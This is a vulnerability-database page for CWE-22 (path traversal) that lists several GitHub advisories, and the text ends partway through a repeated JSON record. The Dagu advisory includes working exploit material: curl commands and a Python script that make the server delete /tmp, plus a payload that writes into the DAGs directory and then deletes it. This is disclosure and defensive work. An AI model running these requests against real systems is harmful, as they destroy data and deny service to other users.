Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

13302 vulnerabilities reference this CWE, most recent first.

GHSA-M4MQ-H54P-47PH

Vulnerability from github – Published: 2023-12-14 00:30 – Updated: 2023-12-14 00:30
VLAI
Details

Path traversal in Zoom Desktop Client for Windows, Zoom VDI Client for Windows, and Zoom SDKs for Windows may allow an authenticated user to conduct an escalation of privilege via network access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-43586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-426"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-13T23:15:07Z",
    "severity": "HIGH"
  },
  "details": "Path traversal in Zoom Desktop Client for Windows, Zoom VDI Client for Windows, and Zoom SDKs for Windows may allow an authenticated user to conduct an escalation of privilege via network access.",
  "id": "GHSA-m4mq-h54p-47ph",
  "modified": "2023-12-14T00:30:26Z",
  "published": "2023-12-14T00:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43586"
    },
    {
      "type": "WEB",
      "url": "https://www.zoom.com/en/trust/security-bulletin/ZSB-23059"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M4MR-H478-PP3F

Vulnerability from github – Published: 2022-05-01 23:29 – Updated: 2022-05-01 23:29
VLAI
Details

Directory traversal vulnerability in the mwGetLocalFileName function in http.c in MiniWeb HTTP Server 0.8.19 allows remote attackers to read arbitrary files and list arbitrary directories via a (1) .%2e (partially encoded dot dot) or (2) %2e%2e (encoded dot dot) in the URI.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-0338"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-01-17T22:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in the mwGetLocalFileName function in http.c in MiniWeb HTTP Server 0.8.19 allows remote attackers to read arbitrary files and list arbitrary directories via a (1) .%2e (partially encoded dot dot) or (2) %2e%2e (encoded dot dot) in the URI.",
  "id": "GHSA-m4mr-h478-pp3f",
  "modified": "2022-05-01T23:29:13Z",
  "published": "2022-05-01T23:29:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0338"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39713"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4923"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/28512"
    },
    {
      "type": "WEB",
      "url": "http://www.bugtraq.ir/adv/miniweb_english.pdf"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27319"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/0176"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-M4MW-6CR3-7CC7

Vulnerability from github – Published: 2026-05-05 06:31 – Updated: 2026-05-05 06:31
VLAI
Details

A flaw has been found in UsamaK98 python-notebook-mcp up to a05a232815809a7e425b5fa7be26e0d4369894c2. Impacted is the function create_notebook/read_notebook/edit_cell/add_cell of the file server.py. This manipulation causes path traversal. It is possible to initiate the attack remotely. The exploit has been published and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-7810"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-05T04:16:19Z",
    "severity": "MODERATE"
  },
  "details": "A flaw has been found in UsamaK98 python-notebook-mcp up to a05a232815809a7e425b5fa7be26e0d4369894c2. Impacted is the function create_notebook/read_notebook/edit_cell/add_cell of the file server.py. This manipulation causes path traversal. It is possible to initiate the attack remotely. The exploit has been published and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-m4mw-6cr3-7cc7",
  "modified": "2026-05-05T06:31:05Z",
  "published": "2026-05-05T06:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-7810"
    },
    {
      "type": "WEB",
      "url": "https://github.com/UsamaK98/python-notebook-mcp/issues/5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/UsamaK98/python-notebook-mcp"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/807748"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/361070"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/361070/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-M4PJ-37C7-3P6H

Vulnerability from github – Published: 2022-05-02 06:17 – Updated: 2022-05-02 06:17
VLAI
Details

Directory traversal vulnerability in content.php in Saskia's Shopsystem beta1 and earlier allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the id parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2010-0957"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-03-10T20:14:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in content.php in Saskia\u0027s Shopsystem beta1 and earlier allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the id parameter.",
  "id": "GHSA-m4pj-37c7-3p6h",
  "modified": "2022-05-02T06:17:36Z",
  "published": "2022-05-02T06:17:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-0957"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/56358"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.org/1002-exploits/saskiashopsystem-lfi.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/11433"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/38574"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-M4Q3-457P-HH2X

Vulnerability from github – Published: 2026-03-13 15:40 – Updated: 2026-03-16 16:36
VLAI
Summary
Dagu: Path Traversal via `dagRunId` in Inline DAG Execution
Details

1. Vulnerability Summary

The dagRunId request field accepted by the inline DAG execution endpoints is passed directly into filepath.Join to construct a temporary directory path without any format validation. Go's filepath.Join resolves .. segments lexically, so a caller can supply a value such as ".." to redirect the computed directory outside the intended /tmp/<name>/<id> path. A deferred cleanup function that calls os.RemoveAll on that directory then runs unconditionally when the HTTP handler returns, deleting whatever directory the traversal resolved to.

With dagRunId set to "..", the resolved directory is the system temporary directory (/tmp on Linux). On non-root deployments, os.RemoveAll("/tmp") removes all files in /tmp owned by the dagu process user, disrupting every concurrent dagu run that has live temp files. On root or Docker deployments, the call removes the entire contents of /tmp, causing a system-wide denial of service.

2. This Is Not a Duplicate of Existing Advisories

Two security advisories are already published for dagu. This vulnerability is distinct from both.

GHSA-6qr9-g2xw-cw92 fixed the fact that the default authentication mode was none, allowing unauthenticated access to the inline execution endpoint. That advisory covers authentication bypass. The dagRunId path traversal described here is a separate input-validation flaw in loadInlineDAG() that exists regardless of whether authentication is required and was not addressed by that fix.

CVE-2026-27598 fixed a path traversal in the DAG creation endpoint (POST /api/v1/dags) via the name field. The fix added filepath.Base() and a base-directory prefix check inside generateFilePath(). That fix applies only to generateFilePath() in dags.go. The function loadInlineDAG() in dagruns.go has no equivalent guard on its dagRunID argument and was not part of that patch.

3. Vulnerable Code

File: internal/service/frontend/api/v1/dagruns.go

The loadInlineDAG function (lines 202-267) constructs the temp directory at line 234:

tmpDir := filepath.Join(os.TempDir(), nameHint, dagRunID)

dagRunID is user-supplied. No validation of the value occurs before this line. The cleanup closure is then registered:

cleanup := func() {
    _ = os.RemoveAll(tmpDir)
}

In ExecuteDAGRunFromSpec (lines 52-119), the cleanup is deferred unconditionally:

dag, cleanup, err := a.loadInlineDAG(ctx, request.Body.Spec, request.Body.Name, dagRunId)
if err != nil {
    return nil, err
}
defer cleanup()  // registered after loadInlineDAG succeeds; fires on all subsequent return paths

The same pattern appears in EnqueueDAGRunFromSpec (lines 122-200), line 160:

defer cleanup()

Why the OpenAPI schema pattern does not prevent this:

The DAGRunId schema in api/v1/api.yaml (line 5738) declares:

pattern: "^[a-zA-Z0-9_-]+$"

This pattern excludes . and /, which would block path traversal values. However, enforcement of that pattern depends on the OpenAPI validator middleware, which is only activated when StrictValidation is true. That setting is defined in internal/cmn/config/config.go:

StrictValidation  bool

It is not present in the Definition struct (definition.go) and carries no mapstructure tag, which means viper/mapstructure can never populate it from a YAML configuration file; it therefore cannot be set in the config loader (loader.go) and its value is always the Go zero value for bool, which is false. The loader test at line 165 of loader_test.go confirms that StrictValidation is false even after loading a comprehensive configuration file that exercises every configurable option — because there is no mechanism by which it could ever be true. The validator middleware is never registered for any standard dagu deployment.

The file dagruns.go defines a sanitizeFilename helper at line 36 that replaces characters outside [a-zA-Z0-9._-] with underscores. This function is called when constructing log filenames (lines 422, 566, 1127, and 1211) and is never applied to dagRunID before the filepath.Join call. No validation or sanitization of dagRunID for path separator characters exists anywhere in the request-to-filepath.Join pipeline.

4. Attack Conditions

  • The attacker must be authenticated with a role of operator, developer, manager, or admin (any role for which CanExecute() returns true).
  • The server permission PermissionRunDAGs must be enabled. This is the default (true as set in loader.go lines 353-356).
  • On dagu versions 1.30.3 and earlier, where the default authentication mode was none, no authentication is required at all.

5. Attack Scenario

Step 1: Authenticate

TOKEN=$(curl -s -X POST http://TARGET:8080/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"operator","password":"<password>"}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

For versions with auth.mode: none, authentication is not required and the Authorization header can be omitted.

Step 2: Send the malicious request

curl -s -X POST http://TARGET:8080/api/v1/dag-runs \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{
    "spec": "steps:\n  - name: s\n    command: id\n",
    "dagRunId": ".."
  }'

Step 3: What happens inside the server

  1. request.Body.DagRunId is "..". This value is copied to dagRunId at line 72 without modification.

  2. loadInlineDAG is called with dagRunID = ".." and no name parameter, so nameHint = "inline". Because name is nil, the else branch at lines 214-231 runs first: spec.LoadYAML parses the spec content and dag.Validate() checks its structure. This pre-validation operates entirely on the YAML content; it has no knowledge of dagRunID. The exploit spec (steps:\n - name: s\n command: id\n) passes this check. The nameHint variable is not updated by this parse — it stays "inline" regardless of any name field inside the spec YAML. Control reaches line 234 only after the spec is accepted.

  3. Line 234 executes: tmpDir = filepath.Join("/tmp", "inline", "..") = filepath.Clean("/tmp/inline/..") = "/tmp" (filepath.Join calls filepath.Clean on the joined result, resolving .. lexically.)

  4. os.MkdirAll("/tmp", 0o750) succeeds because /tmp already exists.

  5. The cleanup closure captures tmpDir = "/tmp": go cleanup = func() { os.RemoveAll("/tmp") }

  6. The spec is written to filepath.Join("/tmp", "inline.yaml") = /tmp/inline.yaml and loaded via spec.Load (line 256). The load succeeds.

  7. loadInlineDAG returns dag, cleanup, nil.

  8. defer cleanup() is registered in ExecuteDAGRunFromSpec.

  9. The handler builds the 200 response object. In Go, deferred functions execute during the function's return sequence — before control returns to chi's server wrapper. The deferred cleanup therefore fires first: os.RemoveAll("/tmp") runs and removes the target directory.

  10. The handler returns the response object to chi. Chi serializes it and sends the HTTP 200 to the client. The 200 is delivered successfully because the response content was already constructed before the defer ran; the directory deletion does not affect the HTTP response.

Step 4: Result

On non-root deployments: all files in /tmp owned by the dagu process user are removed (Linux sticky bit prevents deletion of files owned by other users). Any concurrent dagu runs that have live temp files in /tmp lose those files and fail.

On root or Docker deployments (where dagu runs as root inside a container, which is a common production pattern): all contents of /tmp are removed, affecting every process on the system that uses /tmp for temporary storage.

The attack can be sent repeatedly without any cooldown, maintaining the denial-of-service condition.

6. Proof of Concept

One-liner (against auth-mode-none instance)

curl -s -X POST http://localhost:8080/api/v1/dag-runs \
  -H "Content-Type: application/json" \
  -d '{"spec":"steps:\n  - name: s\n    command: id\n","dagRunId":".."}'

Automated PoC script

Save as poc.py and run with python3 poc.py:

#!/usr/bin/env python3
"""
Proof of Concept: dagu dagRunId path traversal
Affected: POST /api/v1/dag-runs  (executeDAGRunFromSpec)
          POST /api/v1/dag-runs/enqueue  (enqueueDAGRunFromSpec)

Vulnerable line: dagruns.go:234
  tmpDir := filepath.Join(os.TempDir(), nameHint, dagRunID)

Usage:
  python3 poc.py --url http://localhost:8080
  python3 poc.py --url http://localhost:8080 --username admin --password secret
  python3 poc.py --url http://localhost:8080 --token eyJ...
"""

import argparse
import json
import os
import sys
import time
import urllib.request
import urllib.error


def login(base_url, username, password):
    payload = json.dumps({"username": username, "password": password}).encode()
    req = urllib.request.Request(
        f"{base_url}/api/v1/auth/login",
        data=payload,
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            data = json.loads(resp.read())
            token = data.get("token") or data.get("accessToken")
            if not token:
                print(f"Login response did not contain a token: {data}")
                sys.exit(1)
            return token
    except urllib.error.HTTPError as e:
        print(f"Login failed (HTTP {e.code}): {e.read().decode()}")
        sys.exit(1)


def send_exploit(base_url, token, traversal):
    body = json.dumps({
        "spec": "steps:\n  - name: s\n    command: id\n",
        "dagRunId": traversal,
    }).encode()
    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"
    req = urllib.request.Request(
        f"{base_url}/api/v1/dag-runs",
        data=body,
        headers=headers,
        method="POST",
    )
    try:
        with urllib.request.urlopen(req, timeout=15) as resp:
            return resp.status, json.loads(resp.read())
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", default="http://localhost:8080")
    parser.add_argument("--token", default="")
    parser.add_argument("--username", default="admin")
    parser.add_argument("--password", default="")
    parser.add_argument("--traversal", default="..",
                        help="Value for dagRunId (default: '..')")
    args = parser.parse_args()

    base_url = args.url.rstrip("/")
    traversal = args.traversal

    import posixpath
    name_hint = "inline"
    expected_dir = posixpath.normpath(f"/tmp/{name_hint}/{traversal}")
    print(f"Target server : {base_url}")
    print(f"dagRunId value: {repr(traversal)}")
    print(f"Resolved tmpDir (Linux): filepath.Join('/tmp', '{name_hint}', '{traversal}') = '{expected_dir}'")
    print(f"os.RemoveAll will target: '{expected_dir}'")
    print()

    token = args.token
    if not token and args.password:
        print("Obtaining JWT token...")
        token = login(base_url, args.username, args.password)
        print(f"Token obtained: {token[:30]}...")
    elif not token:
        print("No token provided. Proceeding without authentication (requires auth.mode: none).")
    print()

    tmp_before = os.path.exists(expected_dir) if os.path.isabs(expected_dir) else None
    if tmp_before is not None:
        print(f"'{expected_dir}' exists before request: {tmp_before}")

    print(f"Sending request to {base_url}/api/v1/dag-runs ...")
    status, body = send_exploit(base_url, token, traversal)
    print(f"HTTP {status}: {body}")
    print()

    if status not in (200, 201):
        print(f"Unexpected status {status}. Check credentials or server configuration.")
        sys.exit(1)

    time.sleep(0.5)

    if tmp_before is not None:
        tmp_after = os.path.exists(expected_dir)
        print(f"'{expected_dir}' exists after request: {tmp_after}")
        if not tmp_after:
            print()
            print("CONFIRMED: path traversal caused os.RemoveAll to delete the target directory.")
        else:
            print()
            print("Directory still exists. If running against a remote server, check")
            print(f"on the server host whether '{expected_dir}' was modified.")
    else:
        print(f"Cannot verify filesystem state from this host.")
        print(f"On the server, check whether '{expected_dir}' was modified after the request.")


if __name__ == "__main__":
    main()

Local test setup (no existing dagu installation needed)

# Download the latest dagu binary
curl -L https://github.com/dagu-org/dagu/releases/latest/download/dagu_linux_amd64.tar.gz \
  | tar -xz

# Start with no authentication for simplest reproduction
cat > /tmp/dagu-test.yaml <<'EOF'
auth:
  mode: none
EOF

./dagu server --config /tmp/dagu-test.yaml &
SERVER_PID=$!
sleep 2

# Confirm /tmp is accessible
echo "Files in /tmp before: $(ls /tmp | wc -l)"

# Run the exploit
curl -s -X POST http://localhost:8080/api/v1/dag-runs \
  -H "Content-Type: application/json" \
  -d '{"spec":"steps:\n  - name: s\n    command: id\n","dagRunId":".."}'

sleep 1

# Check whether dagu-owned temp files were deleted
echo "Files in /tmp after:  $(ls /tmp | wc -l)"

kill $SERVER_PID

Variant: target the enqueue endpoint

Both endpoints are affected via the same loadInlineDAG call:

curl -s -X POST http://TARGET:8080/api/v1/dag-runs/enqueue \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"spec":"steps:\n  - name: s\n    command: id\n","dagRunId":".."}'

Variant: file write outside /tmp

With a dagRunId value that traverses to a known writable directory, the spec content is written there as <nameHint>.yaml before the cleanup removes that directory:

{
  "spec": "steps:\n  - name: s\n    command: id\n",
  "name": "payload",
  "dagRunId": "../../home/dagu/dags"
}

This writes /home/dagu/dags/payload.yaml, executes it, then calls os.RemoveAll("/home/dagu/dags"), deleting the entire DAGs directory. The exact path depends on the deployment but can be inferred from error messages or default paths.

7. Impact

Denial of Service (primary)

On every deployment, an authenticated operator can send one request to trigger os.RemoveAll on a directory outside the intended temp subdirectory. With dagRunId="..", the target is /tmp. On a non-root deployment with Linux sticky bit semantics, all temp files in /tmp created by the dagu user are deleted. Any running dagu workflow that depends on temp files in progress is interrupted. The attack can be repeated continuously with no rate limiting, preventing recovery.

On Docker-based deployments where dagu runs as root inside a container (a common pattern for dagu installations), os.RemoveAll("/tmp") removes all contents of /tmp inside the container. This affects every process in the container that uses /tmp, including shared libraries unpacked at runtime, unix sockets, and lock files.

Arbitrary file write (secondary)

The spec YAML content provided by the attacker is written to filepath.Join(tmpDir, nameHint+".yaml") where both tmpDir and nameHint can be influenced. If the attacker knows or can guess the path of a directory writable by the dagu process (for example, the DAGs directory), they can write arbitrary YAML content there. Because spec.Load reads from that path and executes the spec, this also provides a mechanism for persisting a workflow definition containing attacker-controlled commands in the DAGs directory before the cleanup removes it.

Deletion of the DAGs directory (combined)

The combination of the file write and the cleanup allows an authenticated operator to permanently delete the entire DAGs directory in a single request by pointing dagRunId at that path. This destroys all workflow definitions for all users of the dagu instance.

8. Affected Versions

The loadInlineDAG function and both calling handlers (ExecuteDAGRunFromSpec and EnqueueDAGRunFromSpec) are present in the current main branch. The vulnerability has existed since these endpoints were introduced. No fix is present as of the review date of 2026-02-24.

Authentication requirements differ by version: - Versions 1.30.3 and earlier: default auth.mode was none, so this is exploitable without credentials - Versions after 1.30.3: default auth.mode is builtin, so operator-level credentials are required

9. Recommended Fix

Validate dagRunID before use in loadInlineDAG. The OpenAPI schema already defines the correct pattern. Enforce it at the application layer:

// Add at the start of loadInlineDAG, before filepath.Join:
var validDAGRunID = regexp.MustCompile(`^[a-zA-Z0-9_-]+$`)

if dagRunID != "" && !validDAGRunID.MatchString(dagRunID) {
    return nil, func() {}, &Error{
        HTTPStatus: http.StatusBadRequest,
        Code:       api.ErrorCodeBadRequest,
        Message:    "dagRunId contains invalid characters",
    }
}

As a defense-in-depth measure, verify that the resolved tmpDir is actually inside the expected base after joining:

tmpDir := filepath.Join(os.TempDir(), nameHint, dagRunID)
expectedBase := filepath.Join(os.TempDir(), nameHint)
if !strings.HasPrefix(tmpDir+string(filepath.Separator), expectedBase+string(filepath.Separator)) {
    return nil, func() {}, &Error{
        HTTPStatus: http.StatusBadRequest,
        Code:       api.ErrorCodeBadRequest,
        Message:    "dagRunId resolves outside the permitted temp directory",
    }
}

The same fix must be applied to both ExecuteDAGRunFromSpec and EnqueueDAGRunFromSpec. Additionally, enabling StrictValidation: true as the default configuration would provide an extra layer of enforcement at the API boundary.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/dagu-org/dagu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T15:40:11Z",
    "nvd_published_at": "2026-03-13T19:54:37Z",
    "severity": "CRITICAL"
  },
  "details": "## 1. Vulnerability Summary\n\nThe `dagRunId` request field accepted by the inline DAG execution endpoints is passed directly into `filepath.Join` to construct a temporary directory path without any format validation. Go\u0027s `filepath.Join` resolves `..` segments lexically, so a caller can supply a value such as `\"..\"` to redirect the computed directory outside the intended `/tmp/\u003cname\u003e/\u003cid\u003e` path. A deferred cleanup function that calls `os.RemoveAll` on that directory then runs unconditionally when the HTTP handler returns, deleting whatever directory the traversal resolved to.\n\nWith `dagRunId` set to `\"..\"`, the resolved directory is the system temporary directory (`/tmp` on Linux). On non-root deployments, `os.RemoveAll(\"/tmp\")` removes all files in `/tmp` owned by the dagu process user, disrupting every concurrent dagu run that has live temp files. On root or Docker deployments, the call removes the entire contents of `/tmp`, causing a system-wide denial of service.\n\n\n## 2. This Is Not a Duplicate of Existing Advisories\n\nTwo security advisories are already published for dagu. This vulnerability is distinct from both.\n\n**GHSA-6qr9-g2xw-cw92** fixed the fact that the default authentication mode was `none`, allowing unauthenticated access to the inline execution endpoint. That advisory covers authentication bypass. The `dagRunId` path traversal described here is a separate input-validation flaw in `loadInlineDAG()` that exists regardless of whether authentication is required and was not addressed by that fix.\n\n**CVE-2026-27598** fixed a path traversal in the DAG creation endpoint (`POST /api/v1/dags`) via the `name` field. The fix added `filepath.Base()` and a base-directory prefix check inside `generateFilePath()`. That fix applies only to `generateFilePath()` in `dags.go`. The function `loadInlineDAG()` in `dagruns.go` has no equivalent guard on its `dagRunID` argument and was not part of that patch.\n\n\n## 3. Vulnerable Code\n\n**File**: `internal/service/frontend/api/v1/dagruns.go`\n\nThe `loadInlineDAG` function (lines 202-267) constructs the temp directory at line 234:\n\n```go\ntmpDir := filepath.Join(os.TempDir(), nameHint, dagRunID)\n```\n\n`dagRunID` is user-supplied. No validation of the value occurs before this line. The cleanup closure is then registered:\n\n```go\ncleanup := func() {\n    _ = os.RemoveAll(tmpDir)\n}\n```\n\nIn `ExecuteDAGRunFromSpec` (lines 52-119), the cleanup is deferred unconditionally:\n\n```go\ndag, cleanup, err := a.loadInlineDAG(ctx, request.Body.Spec, request.Body.Name, dagRunId)\nif err != nil {\n    return nil, err\n}\ndefer cleanup()  // registered after loadInlineDAG succeeds; fires on all subsequent return paths\n```\n\nThe same pattern appears in `EnqueueDAGRunFromSpec` (lines 122-200), line 160:\n\n```go\ndefer cleanup()\n```\n\n**Why the OpenAPI schema pattern does not prevent this:**\n\nThe `DAGRunId` schema in `api/v1/api.yaml` (line 5738) declares:\n\n```yaml\npattern: \"^[a-zA-Z0-9_-]+$\"\n```\n\nThis pattern excludes `.` and `/`, which would block path traversal values. However, enforcement of that pattern depends on the OpenAPI validator middleware, which is only activated when `StrictValidation` is `true`. That setting is defined in `internal/cmn/config/config.go`:\n\n```go\nStrictValidation  bool\n```\n\nIt is not present in the `Definition` struct (`definition.go`) and carries no `mapstructure` tag, which means viper/mapstructure can never populate it from a YAML configuration file; it therefore cannot be set in the config loader (`loader.go`) and its value is always the Go zero value for `bool`, which is `false`. The loader test at line 165 of `loader_test.go` confirms that `StrictValidation` is `false` even after loading a comprehensive configuration file that exercises every configurable option \u2014 because there is no mechanism by which it could ever be `true`. The validator middleware is never registered for any standard dagu deployment.\n\nThe file `dagruns.go` defines a `sanitizeFilename` helper at line 36 that replaces characters outside `[a-zA-Z0-9._-]` with underscores. This function is called when constructing log filenames (lines 422, 566, 1127, and 1211) and is never applied to `dagRunID` before the `filepath.Join` call. No validation or sanitization of `dagRunID` for path separator characters exists anywhere in the request-to-`filepath.Join` pipeline.\n\n\n## 4. Attack Conditions\n\n- The attacker must be authenticated with a role of `operator`, `developer`, `manager`, or `admin` (any role for which `CanExecute()` returns true).\n- The server permission `PermissionRunDAGs` must be enabled. This is the default (`true` as set in `loader.go` lines 353-356).\n- On dagu versions 1.30.3 and earlier, where the default authentication mode was `none`, no authentication is required at all.\n\n\n## 5. Attack Scenario\n\n### Step 1: Authenticate\n\n```bash\nTOKEN=$(curl -s -X POST http://TARGET:8080/api/v1/auth/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"operator\",\"password\":\"\u003cpassword\u003e\"}\u0027 \\\n  | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n```\n\nFor versions with `auth.mode: none`, authentication is not required and the `Authorization` header can be omitted.\n\n### Step 2: Send the malicious request\n\n```bash\ncurl -s -X POST http://TARGET:8080/api/v1/dag-runs \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\n    \"spec\": \"steps:\\n  - name: s\\n    command: id\\n\",\n    \"dagRunId\": \"..\"\n  }\u0027\n```\n\n### Step 3: What happens inside the server\n\n1. `request.Body.DagRunId` is `\"..\"`. This value is copied to `dagRunId` at line 72 without modification.\n\n2. `loadInlineDAG` is called with `dagRunID = \"..\"` and no `name` parameter, so `nameHint = \"inline\"`. Because `name` is nil, the `else` branch at lines 214-231 runs first: `spec.LoadYAML` parses the spec content and `dag.Validate()` checks its structure. This pre-validation operates entirely on the YAML content; it has no knowledge of `dagRunID`. The exploit spec (`steps:\\n  - name: s\\n    command: id\\n`) passes this check. The `nameHint` variable is not updated by this parse \u2014 it stays `\"inline\"` regardless of any `name` field inside the spec YAML. Control reaches line 234 only after the spec is accepted.\n\n3. Line 234 executes:\n   ```\n   tmpDir = filepath.Join(\"/tmp\", \"inline\", \"..\")\n           = filepath.Clean(\"/tmp/inline/..\")\n           = \"/tmp\"\n   ```\n   (`filepath.Join` calls `filepath.Clean` on the joined result, resolving `..` lexically.)\n\n4. `os.MkdirAll(\"/tmp\", 0o750)` succeeds because `/tmp` already exists.\n\n5. The cleanup closure captures `tmpDir = \"/tmp\"`:\n   ```go\n   cleanup = func() { os.RemoveAll(\"/tmp\") }\n   ```\n\n6. The spec is written to `filepath.Join(\"/tmp\", \"inline.yaml\")` = `/tmp/inline.yaml` and loaded via `spec.Load` (line 256). The load succeeds.\n\n7. `loadInlineDAG` returns `dag, cleanup, nil`.\n\n8. `defer cleanup()` is registered in `ExecuteDAGRunFromSpec`.\n\n9. The handler builds the 200 response object. In Go, deferred functions execute during the function\u0027s return sequence \u2014 before control returns to chi\u0027s server wrapper. The deferred cleanup therefore fires first: `os.RemoveAll(\"/tmp\")` runs and removes the target directory.\n\n10. The handler returns the response object to chi. Chi serializes it and sends the HTTP 200 to the client. The 200 is delivered successfully because the response content was already constructed before the defer ran; the directory deletion does not affect the HTTP response.\n\n### Step 4: Result\n\nOn non-root deployments: all files in `/tmp` owned by the dagu process user are removed (Linux sticky bit prevents deletion of files owned by other users). Any concurrent dagu runs that have live temp files in `/tmp` lose those files and fail.\n\nOn root or Docker deployments (where dagu runs as root inside a container, which is a common production pattern): all contents of `/tmp` are removed, affecting every process on the system that uses `/tmp` for temporary storage.\n\nThe attack can be sent repeatedly without any cooldown, maintaining the denial-of-service condition.\n\n\n## 6. Proof of Concept\n\n### One-liner (against auth-mode-none instance)\n\n```bash\ncurl -s -X POST http://localhost:8080/api/v1/dag-runs \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"spec\":\"steps:\\n  - name: s\\n    command: id\\n\",\"dagRunId\":\"..\"}\u0027\n```\n\n### Automated PoC script\n\nSave as `poc.py` and run with `python3 poc.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: dagu dagRunId path traversal\nAffected: POST /api/v1/dag-runs  (executeDAGRunFromSpec)\n          POST /api/v1/dag-runs/enqueue  (enqueueDAGRunFromSpec)\n\nVulnerable line: dagruns.go:234\n  tmpDir := filepath.Join(os.TempDir(), nameHint, dagRunID)\n\nUsage:\n  python3 poc.py --url http://localhost:8080\n  python3 poc.py --url http://localhost:8080 --username admin --password secret\n  python3 poc.py --url http://localhost:8080 --token eyJ...\n\"\"\"\n\nimport argparse\nimport json\nimport os\nimport sys\nimport time\nimport urllib.request\nimport urllib.error\n\n\ndef login(base_url, username, password):\n    payload = json.dumps({\"username\": username, \"password\": password}).encode()\n    req = urllib.request.Request(\n        f\"{base_url}/api/v1/auth/login\",\n        data=payload,\n        headers={\"Content-Type\": \"application/json\"},\n        method=\"POST\",\n    )\n    try:\n        with urllib.request.urlopen(req, timeout=10) as resp:\n            data = json.loads(resp.read())\n            token = 